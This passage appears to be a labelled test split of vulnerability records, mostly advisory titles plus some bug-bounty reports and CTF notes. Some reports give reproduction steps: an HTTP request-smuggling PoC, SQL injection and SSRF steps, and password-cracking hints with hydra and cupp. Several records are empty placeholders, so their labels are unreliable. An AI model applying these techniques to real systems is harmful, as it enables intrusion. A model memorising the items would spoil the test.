10\n==13928== at 0x48436C4: malloc (vg_replace_malloc.c:392)\n==13928== by 0x4889F45: dyn_nappend (dynbuf.c:107)\n==13928== by 0x488A2C5: Curl_dyn_addn (dynbuf.c:170)\n==13928== by 0x48C393E: alloc_addbyter (mprintf.c:1065)\n==13928== by 0x48C2FF9: dprintf_formatf (mprintf.c:852)\n==13928== by 0x48C39FF: curl_mvaprintf (mprintf.c:1095)\n==13928== by 0x48C3AF0: curl_maprintf (mprintf.c:1110)\n==13928== by 0x48B0F86: on_header (http2.c:1467)\n==13928== by 0x4C310C1: nghttp2_session_mem_recv (in /usr/lib64/libnghttp2.so.14.25.1)\n==13928== by 0x48AE62B: h2_process_pending_input (http2.c:552)\n==13928== by 0x48B2570: h2_progress_ingress (http2.c:1914)\n==13928== by 0x48B2775: cf_h2_recv (http2.c:1953)\n==13928== \n==13928== LEAK SUMMARY:\n==13928== definitely lost: 8,191,872 bytes in 255,996 blocks\n==13928== indirectly lost: 0 bytes in 0 blocks\n==13928== possibly lost: 64 bytes in 2 blocks\n==13928== still reachable: 93,082 bytes in 676 blocks\n==13928== suppressed: 0 bytes in 0 blocks\n==13928== Reachable blocks (those to which a pointer was found) are not shown.\n==13928== To see them, rerun with: --leak-check=full --show-leak-kinds=all\n==13928== \n", "source": "hackerone", "timestamp": "2024-03-27", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "fa5423af80803603bdc8", "text": "ABB Cylon Aspect 3.08.02 Unauthenticated Configuration Disclosure\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-12-11", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "fbb45a858dbf85579354", "text": "ABB Cylon Aspect 3.08.02 (uploadDb.php) Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-01-09", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "a41e1fbfddd1334f9a05", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "9ed06118b554adfad0a8", "text": "ABB Cylon Aspect 3.08.01 (logYumLookup.php) Unauthenticated File Disclosure\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-10-06", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "57db936b293dd32b2595", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "de825f43834d05edd982", "text": "ABB Cylon Aspect 4.00.00 (factorySaved.php) Unauthenticated XSS\n\nSeverity: high", "source": "zeroscience", "timestamp": "2025-01-03", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "3ddeb743bb4e09d408a4", "text": "===============\n\nClass: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "6dae8cb98039725ba712", "text": "Usage writeup by evyatar9\n\nRead mt writeup to Usage machine on: github.com Writeups/HackTheBox/Usage at master · evyatar9/Writeups This repository contains writeups for various CTFs I've participated in (Including Hack The Box). - evyatar9/Writeups TL;DR User : Discovered an SQL Injection vulnerability on http://admin.usage.htb/ . Using this, we obtained credentials and exploited CVE-2020-10963 to gain a reverse shell as the dash user. Root : Found a .monitrc file containing the credentials for the xander user. Running sudo -l , we found the binary /usr/bin/usage_management , which backs up the contents of /var/www/html , a directory we have write access to. We created a symlink to the root SSH key in this directory, ran the backup binary, and retrieved the root SSH key.", "source": "hackthebox", "timestamp": "2024-09-27", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "4c23b5cee5903e90bddc", "text": "Aquatronica Control System 5.1.6 Passwords Leak Vulnerability\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-05-30", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "7f15f9acb9de5e40d37b", "text": "Yes, of course! That would be great, especially the one for the iPhone. I was actually hoping for more—what about making some tutorials on one-click exploit development for the iPhone? e.g : CVE-2025-24252, CVE-2026-20700, CVE-2025-24132, CVE-2025-43200, CVE-2025-43300, CVE-2026-20661, CVE-2025-43529", "source": "0x00sec", "timestamp": "2026-03-12", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "4d286718623b7ed0f35d", "text": "ABB Cylon Aspect 3.07.00 (networkDiagAjax.php) Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-09-24", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "b5e8590e45ae2c0ad66c", "text": "[Code Injection] Command Injection using malicious hostname in expanded proxycommand\n\nUsing the ProxyCommand or the ProxyJump feature enables users to exploit\nunchecked hostname syntax on the client, which enables to inject malicious code\ninto the command of the above-mentioned features through the hostname parameter.\n\nUser interaction is required to exploit this issue.\n\nAdvisory from libssh: https://www.libssh.org/security/advisories/CVE-2023-6004.txt\n\nAdvisory from OpenSSH which also suffered from this flaw: https://www.openssh.com/txt/release-9.6\n\n## Impact\n\nCode execution via malicious input hostname or other tokens", "source": "hackerone", "timestamp": "2024-02-28", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "ea3af6177d04b24f72b4", "text": "ABB Cylon FLXeon 9.3.4 (cmds.js) Authenticated Root Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-02-02", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "e6ada632fd5aed760e11", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "aa78b23357afac70f263", "text": "ABB Cylon Aspect 3.08.00 (yumSettings.php) Remote Code Execution\n\nSeverity: high", "source": "zeroscience", "timestamp": "2024-10-12", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "50169f7c6275f847fa36", "text": "Akuvox Smart Intercom/Doorphone Unauthenticated Stream Disclosure\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2024-08-20", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "4623b990d046b5499b45", "text": "ABB Cylon Aspect 3.08.02 (fileSystemUpdateExecute.php) Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-12-06", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "f64660f6f938ae8eb2a6", "text": "ABB Cylon FLXeon 9.3.5 (variant.js) Unauthenticated System Information Disclosure\n\nSeverity: high", "source": "zeroscience", "timestamp": "2025-05-21", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "a8d5be970b6094d6d941", "text": "Ksenia Security Lares WebServer Home Automation PIN Logic Flaw\n\nSeverity: high", "source": "zeroscience", "timestamp": "2025-03-31", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "ef4551fca8b18e32a62e", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "a9d29e09a901cc56a06b", "text": "ABB Cylon Aspect 3.08.01 (calendarFileDelete.php) Arbitrary File Deletion\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-10-07", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "a9e25aeddd4f870262aa", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "c873f08b2de07bcaaa3a", "text": "Lighttpd 1.4.56 - 1.4.66 Resource Leak Denial of Service PoC\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2026-01-23", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "fb56887d18a5ebe48a09", "text": "ABB Cylon FLXeon 9.3.5 (capture.js) Authenticated File Disclosure/Delete\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-05-19", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "afc408d2241842ee7a39", "text": "ABB Cylon Aspect 3.08.02 (servicesUpdate.php) Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-12-06", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "abec9fb5e23b6a5c9e8f", "text": "Honeywell Trend IQ4xx BMS Controller Unauthenticated Remote Web-HMI Control And Lockout\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2026-03-02", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "3e47d5cad129237c4fb9", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "d9653ce216950a57a3ba", "text": "ABB Cylon Aspect 3.08.02 (calendarUpdate.php) Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-12-27", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "6e5043d01907d9f3c7ed", "text": "ABB Cylon Aspect 3.08.01 (jsonProxy.php) Servlet Inclusion Authentication Bypass\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-10-30", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "729d6463a8057312acf2", "text": "ABB Cylon Aspect 3.08.01 (bigUpload.php) Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-09-23", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "70c8fba8092c18cd4191", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "39d601f89fec7bf35f34", "text": "ABB Cylon Aspect 3.08.04 (DeploySource) Unauthenticated Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-06-04", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "849bb34246446b2dd8fa", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "81760a6f1347ea39ca71", "text": "Tosibox Key Service 3.3.0 Local Privilege Escalation\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2024-02-23", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "a1ecf0eaa85aa3040103", "text": "Elber Wayber Analog/Digital Audio STL 4.00 Authentication Bypass\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-04-17", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "3c41ac0d0aef7e72c03d", "text": "===============", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "a81af2c21042a92d6fdd", "text": "Below Local Privilege Escalation Vulnerability: A light look at CVE-2025-27591\n\nThis topic is for discussion of the post Below Local Privilege Escalation Vulnerability: A light look at CVE-2025-27591 . CVE-2025-27591 is a Local Privilege Escalation (LPE) vulnerability affecting below, a time-traveling resource monitor for Linux developed by Facebook Incubator. Please feel free to discuss the post and ask any questions in this topic.", "source": "0x00sec", "timestamp": "2026-01-21", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "3a8496a889cad5acb61d", "text": "[HTTP Request Smuggling] CVE-2024-21733 Apache Tomcat HTTP Request Smuggling (Client- Side Desync) (CWE: 444)\n\nApache Tomcat from 8.5.7 through 8.5.63, from 9.0.0-M11 through 9.0.43 are vulnerable to client-side de-sync attacks. \n\nClient-side de-sync (CSD) vulnerabilities occur when a web server fails to correctly process the Content-Length of POST requests. By exploiting this behavior, an attacker can force a victim's browser to de-synchronize its connection with the website, causing sensitive data to be smuggled from the server and/or client connections.\n\nUsers are recommended to upgrade to version 8.5.64 onwards or 9.0.44 onwards, which contain a fix for the issue.\n\nPoC:\n~~~~~~~~~~~~~~~~~~\nPOST / HTTP/1.1\nHost: hostname\nSec-Ch-Ua: \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"Linux\"\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nSec-Fetch-Site: none\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nAccept-Encoding: gzip, deflate, br\nAccept-Language: en-US,en;q=0.9\nPriority: u=0, i\nConnection: keep-alive\nContent-Length: 6\nContent-Type: application/x-www-form-urlencoded\n\nX\n~~~~~~~~~~~~~~~~~~\n\nIn some cases, this can leak sensitive data such as clear-text credentials (see attached screenshot).\n\nCredit: \nThis vulnerability was reported responsibly to the Tomcat security team by xer0dayz from Sn1perSecurity LLC.\n\nHistory:\n2024-01-19 Original advisory\n\nReferences:\n[3] https://tomcat.apache.org/security-9.html\n[4] https://tomcat.apache.org/security-8.html\n\n## Impact\n\nAn attacker can force a victim's browser to de-synchronize its connection with the website, causing sensitive data to be smuggled from the server and/or client connections.", "source": "hackerone", "timestamp": "2024-01-29", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "1cdc9c94fd229f2d665b", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "a291fce42d0ac7d710ff", "text": "[Server-Side Request Forgery (SSRF)] Server Side Request Forgery (SSRF) in webhook functionality\n\n**Summary:**\n\n- SSRF stands for \"Server-Side Request Forgery\" in English. It refers to a security vulnerability where an attacker can manipulate a web application to make HTTP requests from the server side instead of the client side. This can allow the attacker to access internal and sensitive resources that are not normally accessible.\n- In an SSRF attack, the attacker can manipulate the requests made by an application to target internal resources such as local files, internal services, or even systems on the internal network. This can lead to the disclosure of sensitive information or unauthorized actions being performed on the server.\n- In this case I was able to bypass the anti ssrf rules in the implemented webhook functionality, I noticed that there is no filter enabled for IPV6 IP addresses with IPv6 address mapped to IPv4.\n\n**Description:**\n\n### Steps To Reproduce\n- To play this account you need to have an organizational account.\n- Additionally, it is necessary to have a public server that interprets php, you can use 000webhost.com\n1. Create a public PHP server and upload the following file h1.php:\n```\n\n```\n2. Save the public url where the php script is located\n3. Log in to your hackerone account\n4. Enter your organization's program settings\n5. Look for the **webhooks** option.\n6. Create a webhook with the previously copied url.\n7. Once the webhook is created, edit it and click on the **Test request** button\n9. You can see in the webhook logs that in response it launches the header **server: EC2ws** which corresponds to the Amazon metada instance.\n\n## Impact\n\n- \"Server-Side Request Forgery\" (SSRF) is a security vulnerability that can have various negative impacts. It occurs when an attacker tricks a server into making requests on their behalf. This can lead to unauthorized access to internal resources, such as databases or internal services, that are typically not accessible from the outside. Additionally, SSRF can be exploited for port scanning, potentially revealing vulnerable services. Attackers may use SSRF to force servers to perform unwanted actions on internal services, leading to data breaches or malicious activities. The vulnerability also poses a risk of bypassing network restrictions, allowing attackers to circumvent security measures. To mitigate SSRF, it is crucial to implement secure development practices, validate and filter user inputs effectively, and ensure that servers do not make unauthorized requests to internal resources. Utilizing whitelists for permitted addresses and disabling unnecessary DNS resolution are recommended measures to enhance security.", "source": "hackerone", "timestamp": "2024-01-30", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "6ea2edb80b8befa01c86", "text": "Dear Clarkee, I have a few questions: Who owns this forum? Who are the founders of this forum? How long has this forum existed? Anybody here related to darkc0de forum ? (I meant this one : Wayback Machine ) Suggestion: It would be great if there were a dedicated thread where the founders could introduce themselves, sharing details such as their roles, specializations, GitHub profiles, or any other non-sensitive information. My thoughts on the forum: What captured my attention and motivated me to join was the domain name; I noticed it includes a null-terminating string, which is a very clever touch.", "source": "0x00sec", "timestamp": "2026-02-25", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "a88f257857671243ebfe", "text": "[Cross-Site Request Forgery (CSRF)] CVE-2023-49920: Apache Airflow: Missing CSRF protection on DAG/trigger\n\nDuring my testing, I've found that there is no CSRF protection in dag/trigger. If a user is logged in to his airflow account & has the permission to trigger a dag then an attacker can trick the user to run a dag unintentionally by the user.\n\nApache Airflow, version 2.7.0 through 2.7.3, has a vulnerability that allows an attacker to trigger a DAG in a GET request without CSRF validation. As a result, it was possible for a malicious website opened in the same browser - by the user who also had Airflow UI opened - to trigger the execution of DAGs without the user's consent.\nUsers are advised to upgrade to version 2.8.0 or later which is not affected\n\n## Details:\nhttps://lists.apache.org/thread/mnwd2vcfw3gms6ft6kl951vfbqrxsnjq\n\n## Email form the project maintainer\n███████\n\nRegards,\n@0xt4req\n\n## Impact\n\nIt was possible for a malicious website opened in the same browser - by the user who also had Airflow UI opened - to trigger the execution of DAGs without the user's consent", "source": "hackerone", "timestamp": "2024-01-09", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "cf5a4baf9fc3ca779e1e", "text": "ABB Cylon FLXeon 9.3.4 (login.js) Unauthenticated Root Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-01-31", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "965724af38f4c27aa740", "text": "[Seebug SSV-99890] CyberPanel 未授权RCE 漏洞\nSeverity: high\nDate: 2024-10-29\nCVE: N/A", "source": "seebug", "timestamp": "2024-10-29", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "23456af68ba600c6e10e", "text": "ABB Cylon FLXeon 9.3.4 (users.js) Authenticated Root Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-02-04", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "de145b1b9b19713a4f58", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "4555be969348bfc5fa26", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "0ad09e622a96fcab33d1", "text": "In cupp use the first and last name, special characters, and l337. Use the password policy with sed to reduce the list the size of the list. Use username-anarchy to create the username. ^^You should find the credentials quickly with these.^^ Use the -u option with hydra. This cracked the credentials in 25 tries. The next user you try to crack the password of you can guess with a name or use the word list found next to the first flag.", "source": "hackthebox", "timestamp": "2024-04-11", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "7d4637350602b97041be", "text": "[Improper Access Control - Generic] Non-store owners can transfer Shopify-managed domain to another domain provider\n\nAccording to docs [here](https://help.shopify.com/en/manual/domains/managing-domain-ownership/transferring-shopify-domains#transfer-your-shopify-managed-domain-to-another-domain-provider), only store owners can transfer domains to another domain provider.\n{F2100708}\n\nThis is not enforced as users/staff members without the `Transfer domain to another Shopify store` permission can perform this action as well as staff members that aren't a store owner in themselves.\n\n## Shops Used to Test:\n███\n\n## Steps To Reproduce:\n1. Login as a staff member with these permissions only:\n{F2100711}\n\n2. From your Shopify admin, go to `Settings > Domains`.\n3. In the Shopify-managed domains section, click the name of the domain that you want to transfer.\n4. Click `Transfer domain > Transfer to another provider`.\n5. Review the information, and then click `Confirm`. The domain authorization code is displayed on your domain's information page.\n6. Give the domain authorization code to your new domain provider to verify the transfer.\n7. Done.\n\n## Supporting Material:\n███████\n\n## Impact\n\nShopify-managed domains can be transferred to another domain provider by a staff member without `Transfer domain to another Shopify store` permission and a non-store owner.", "source": "hackerone", "timestamp": "2024-01-17", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "91d3b507d979bb52809d", "text": "===============", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "71a44dfeff6ec3711b23", "text": "[SQL Injection] SQL injection on ██████████ via 'where' parameter\n\nAn sql injection vulnerability is produced on 'where' parameter of ArcGIS server allows to retreive db content\n\n## PoC\n\n1- Go to https://█████/arcgis/rest/services/Data/ANC_External/MapServer/1/query?where=&text=&objectIds=&time=&timeRelation=esriTimeRelationOverlaps&geometry=&geometryType=esriGeometryEnvelope&inSR=&spatialRel=esriSpatialRelIntersects&distance=&units=esriSRUnit_Foot&relationParam=&outFields=&returnGeometry=true&returnTrueCurves=false&maxAllowableOffset=&geometryPrecision=&outSR=&havingClause=&returnIdsOnly=false&returnCountOnly=false&orderByFields=&groupByFieldsForStatistics=&outStatistics=&returnZ=false&returnM=false&gdbVersion=&historicMoment=&returnDistinctValues=false&resultOffset=&resultRecordCount=&returnExtentOnly=false&sqlFormat=none&datumTransformation=¶meterValues=&rangeValues=&quantizationParameters=&featureEncoding=esriDefault&f=html, this will show a web form.\n\n2- On `where` field, insert the following query : `1=1`, the query is a 1=1 that is true, so it will show all record content of the DB.\n\n██████████\n\n███████\n\n3- So if you inserts `1=0` on where column, the server response will be empty and didn't show any info.\n\nNOTE: i will attach the sql injection vulnerability confirmed by esri support: https://support.esri.com/en-us/knowledge-base/arcgis-10-1-sp1-for-server-contains-a-blind-sql-injecti-000011683\n\n## Impact\n\nAn attacker is able to exploit sql injection via arcGIS server\n\n## System Host(s)\n██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1- Go to https://██████/arcgis/rest/services/Data/ANC_External/MapServer/1/query?where=&text=&objectIds=&time=&timeRelation=esriTimeRelationOverlaps&geometry=&geometryType=esriGeometryEnvelope&inSR=&spatialRel=esriSpatialRelIntersects&distance=&units=esriSRUnit_Foot&relationParam=&outFields=&returnGeometry=true&returnTrueCurves=false&maxAllowableOffset=&geometryPrecision=&outSR=&havingClause=&returnIdsOnly=false&returnCountOnly=false&orderByFields=&groupByFieldsForStatistics=&outStatistics=&returnZ=false&returnM=false&gdbVersion=&historicMoment=&returnDistinctValues=false&resultOffset=&resultRecordCount=&returnExtentOnly=false&sqlFormat=none&datumTransformation=¶meterValues=&rangeValues=&quantizationParameters=&featureEncoding=esriDefault&f=html, this will show a web form.\n\n2- On `where` field, insert the following query : `1=1`, the query is a 1=1 that is true, so it will show all record content of the DB.\n\n3- So if you inserts `1=0` on where column, the server response will be empty and didn't show any info.\n\n## Suggested Mitigation/Remediation Actions\nEsri released an update to ArcGIS Server 10.1 Service Pack 1. If you cannot patch, please consider the following workarounds.", "source": "hackerone", "timestamp": "2024-05-03", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "385fa6a445b05e87fe7a", "text": "===============", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "62f7c44fb53195b57fbf", "text": "[Unknown] CVE-2024-2398: HTTP/2 push headers memory-leak\n\nA memory leak was found in libcurl in handling HTTP/2 push headers, which could lead to a denial of service due to memory exhaustion.\nOriginal report: https://hackerone.com/reports/2402845\n\n## Impact\n\ndenial of service", "source": "hackerone", "timestamp": "2024-04-22", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "0ca696aa47299792c487", "text": "ABB Cylon Aspect 3.08.03 (login.php) Obscure Authentication Bypass\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-05-22", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "744a576b609eff9d1d24", "text": "ABB Cylon Aspect 3.08.01 (oosManagerAjax.php) Information Manipulation\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-12-08", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "0477464fb981b0d2841b", "text": "ABB Cylon Aspect 3.08.03 (logMixDownload.php) Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-05-22", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "36a437c8858b8556d7b0", "text": "[Improper Authentication - Generic] Improper Authentication (Login without Registration with any user) at ████\n\nHi Team!\n\nI found a security issue in ███████. An attacker could login as a any user without registration in the page and above all it can change the session of a victim and authenticate him as any user. \n\nThe problem is at the endpoint ██████████ which, thanks to the **signin** parameter, allows to authenticate anyone with any user.\n\n## Impact\n\nAuthentication bypass (Login as any user without authentication)\nForce a victim to change session with other user\n\n## System Host(s)\n████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Go to ██████████\n2. To check the authentication bypass go to ████:\n\n███\n\nAs the link corresponds to a GET request you can force any user to log out and authenticate to any other account.\n\nAdditional bonus: *clientid and clientsecret are stored in the page source*\n\n███████\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2024-03-22", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "3f76a5378aadb42d8406", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "05f644579ced79f611b6", "text": "ABB Cylon Aspect 3.08.00 (fileSystemUpdate.php) Insecure File Upload\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2024-11-28", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "bf8ba25d56da61110685", "text": "ABB Cylon FLXeon 9.3.4 Limited Cross-Site Request Forgery (RCE)\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2025-02-11", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "e299a7666283737aba7b", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "367342c5bf29bfa20af3", "text": "[Deserialization of Untrusted Data] CVE-2023-46132\n\n# Long summary\n\n\n\nIn order to create a signature on a big chunk of data such as a block, the data needs to be \"compressed\" first to the input size of the signature algorithm.\n\nIn Fabric's case, we use a hash function which compressed a Fabric block from arbitrary size to a 32 byte string.\n\n \n\nIn order to understand the problem we need to be more specific: The block structure has three parts to it: (1) Header, (2) Transactions, and (3) Metadata.\n\nWhen hashing the block, the header and metadata are stitched together and then hashed, and this hash of the header and the metadata is what signed (it's a simplification but let's not get into details)\n\nHowever, the transactions of the block are not part of the above hash. Instead, the header contains a hash, called the \"Data hash\" and despite the fact that in the comments it is said: \"// The hash of the BlockData, by MerkleTree\", actually it is far from being the case, and that is where our problem lies.\n\nThe problem is that the way the transactions are hashed gives an attacker some freedom in manipulating the data. \n\nTo create the Data Hash, the transactions in the block are concatenated to one another, creating a big long byte array and then this big long byte array is hashed, and this is essentially the Data Hash.\n\nThe transactions in the block are a list of raw byte arrays, and when they are concatenated they look like this:\n\n \n\n`|$$$$$$$$$$$$|*************|@@@@@@@@@@@@|%%%%%%%%%|` (The vertical lines \" | \" represent how transactions are separated in a block.)\n\nWhen the transactions are concatenated in order to be hashed, the payload that is hashed is: \n`$$$$$$$$$$$$*************@@@@@@@@@@@@%%%%%%%%%`\n\nAn adversary can't change the bytes of the concatenation, however what it can do, is to modify how transactions are encoded in the block:\n\nFor example, consider an adversary wants to manipulate a peer to skip the second transaction (******).\n\nIt can then create a block with the transactions as follows:\n\n`|$$$$$$$$$$$$*************|@@@@@@@@@@@@|%%%%%%%%%| `\n\nNotice that a block with the above transactions has the same concatenation of bytes as the original block, but the block has one less transaction - the first transaction is a concatenation of the first and second transactions in the original block.\n\n \nWhen the peer receives this block, it looks at the first transaction and when it parses it, it completely ignores the ***** bytes, (we will see why soon), and so, an adversary can create a block with the same hash but different transactions and this would create a fork in the network.\n\n \nI made a small PoC where I created a block with 2 transactions (by invoking two chaincodes at the same time) with a Raft orderer:\n\n```\n [e][OrdererOrg.orderer] 2023-10-14 23:07:34.076 CEST 0079 INFO [orderer.consensus.etcdraft] propose -> Created block [10] with 2 transactions, there are 0 blocks in flight channel=testchannel node=1\n```\n \n\nBut right after creating the block, I just modified only its transaction content (without modifying the block hash) and then the peers only detect a single transaction inside that block:\n\n \n```\n [e][Org2.peer0] 2023-10-14 23:07:34.079 CEST 0099 INFO [kvledger] commit -> [testchannel] Committed block [10] with 1 transaction(s) in 0ms (state_validation=0ms block_and_pvtdata_commit=0ms state_commit=0ms) commitHash=[c5ecca818da9319af2f276dd01cd1337938f20c3535dd23f95a33933a114fe84]\n```\n\nThe important takeaway from this experiment is that the peer does not detect any tempering was done to the block. If an attacker performs this attack, the network can be forked silently and no one will notice the network was forked until it's too late.\n\n## Impact\n\nIn V1 and V2, we only have a crash fault tolerant orderer and as such, the security model Fabric operates in is that the orderer is honest,\nbut peers may be malicious. As such, a peer that replicates a block from a malicious peer can have a state fork.\n\nIn V3 which we did not a release a GA yet (only a preview), we have a byzantine fault tolerant orderering serv", "source": "hackerone", "timestamp": "2024-01-08", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "d148b415ab5c88c1e7c9", "text": "ABB Cylon Aspect 3.08.02 (bbmdUpdate.php) Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-01-09", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "8c08461c3b81ff8b7289", "text": "[Uncontrolled Resource Consumption] HTTP/2 PUSH_PROMISE DoS\n\n## Summary:\nIn `discard_newhandle` the condition in the `if` statement is always `false` for http transfer due to a negation.\nAs a result `http2_data_done` will never be called.\n```\nstatic void discard_newhandle(struct Curl_cfilter *cf,\n struct Curl_easy *newhandle)\n{\n if(!newhandle->req.p.http) {\n http2_data_done(cf, newhandle, TRUE);\n newhandle->req.p.http = NULL;\n }\n (void)Curl_close(&newhandle);\n}\n```\n\n`discard_newhandle` is supposed to close stream and free resources allocated in `http2_data_setup` \nas well as close `Curl_easy` handle when some error occurs in `push_promise`.\nFor example if `PUSH_PROMISE` frame has invailid `:scheme` pseudo header `set_transfer_url` in `push_promise` will return an error.\n```\n rv = set_transfer_url(newhandle, &heads);\n if(rv) {\n discard_newhandle(cf, newhandle);\n rv = CURL_PUSH_DENY;\n goto fail;\n }\n```\nAn attacker could send specially crafted `PUSH_PROMISE` 